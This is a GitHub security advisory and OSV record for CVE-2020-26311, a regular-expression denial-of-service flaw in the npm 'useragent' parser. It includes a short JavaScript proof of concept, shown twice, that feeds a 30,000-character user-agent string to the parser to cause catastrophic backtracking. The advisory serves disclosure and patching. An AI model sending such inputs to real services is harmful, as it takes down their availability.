GHSA-MGFV-M47X-4WQP

Vulnerability from github – Published: 2024-10-26 21:30 – Updated: 2025-09-03 15:17
VLAI?
Summary
useragent Regular Expression Denial of Service vulnerability
Details

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();
Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.6 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "useragent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-28T15:01:50Z",
    "nvd_published_at": "2024-10-26T21:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n## PoC\n```js\nasync function exploit() {\n   const useragent = require(\\\"useragent\\\");\n\n   // Create a malicious user-agent that leads to excessive backtracking\n   const maliciousUserAgent = \u0027Mozilla/5.0 (\u0027 + \u0027X\u0027.repeat(30000) + \u0027) Gecko/20100101 Firefox/77.0\u0027;\n\n   // Parse the malicious user-agent\n   const agent = useragent.parse(maliciousUserAgent);\n\n   // Call the toString method to trigger the vulnerability\n   const result = await agent.device.toString();\n   console.log(result);\n}\n\nawait exploit();\n```",
  "id": "GHSA-mgfv-m47x-4wqp",
  "modified": "2025-09-03T15:17:53Z",
  "published": "2024-10-26T21:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/3rd-Eden/useragent/issues/167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/3rd-Eden/useragent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "useragent Regular Expression Denial of Service vulnerability"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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